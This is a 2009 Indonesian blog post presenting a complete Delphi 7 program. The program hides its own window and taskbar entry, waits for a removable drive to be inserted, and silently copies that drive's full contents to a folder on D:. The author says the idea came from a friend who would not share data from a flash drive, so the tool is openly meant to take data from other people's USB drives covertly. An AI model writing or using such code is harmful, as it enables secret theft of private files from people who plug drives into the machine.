Copy Automatis dengan Delphi 7.0

14 February, 2009 at 5:49 am Leave a comment

ne ada contoh program copy automatis ketika deteksi removeable disc..
terinspirasi ketika ada temen ane yang pelit bgt ngasih data master program diflashnya..
ni hasil comot-comot dari delphi-id jg..moga bisa dikembangkan tuk lebih baik..
cara kerja:
1. siapkan 1 TForm, 1 TMemo
2. masukkan code berikut..


unit xcflashdemo;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
Txcopy = class(TForm)
m: TMemo;
procedure CDROM_Notification(var msg: TMessage);
message WM_DEVICECHANGE;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
xcopy: Txcopy;

implementation
{$R *.dfm}
const
CD_OUTPUT = $8004;
CD_INPUT = $8000;
procedure Txcopy.FormCreate(Sender: TObject);
begin
//hiddenkan form
ShowWindow(Application.Handle, SW_HIDE);
SetWindowLong(Application.Handle, GWL_EXSTYLE,
GetWindowLong(Application.Handle, GWL_EXSTYLE) or WS_EX_TOOLWINDOW );
ShowWindow(Application.Handle, SW_SHOW);
application.ShowMainForm :=false;
//buat list drive sumber xcopy (selain drive harddisc), jangan kebanyakan ntar muntah PCB processor
m.Lines.Clear;
m.Lines.Append('G:\');
m.Lines.Append('H:\');
m.Lines.Append('I:\');
m.Lines.Append('J:\');
end;
procedure Txcopy.CDROM_Notification(var msg: TMessage);
var i: byte;
begin
//deteksi input-output drive baru (sebagai drive sumber xcopy)
if msg.wParam = CD_INPUT then
begin
xcopy.Caption := formatdatetime('ddMMMMyy_hh.mm.ss',now);
//ciptakan automatis folder didalam D:\xcopy\ berdasarkan ddMMMMyy_hh.mm.ss
//D:\xcopy = drive tujuan xcopy yang dibuat manual
CreateDir('D:\xcopy\'+xcopy.caption);
//copy automatis seluruh isi drive sumber xcopy ke drive tujuan xcopy
for i:=0 to m.Lines.count-1 do
WinExec(PChar('XCOPY /S '+m.lines.Strings[i]+' D:\xcopy\'+xcopy.caption), SW_HIDE);
end
else if msg.wParam = CD_OUTPUT then
exit;
end;
end.

Entry filed under: Pemrograman. Tags: .

Males Pake Mouse Analisis Lengkap Virus Babel

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Subscribe to the comments via RSS Feed


Calender

February 2009
S M T W T F S
« Jan   Mar »
1234567
891011121314
15161718192021
22232425262728

Last Post

Chat Room


%d bloggers like this: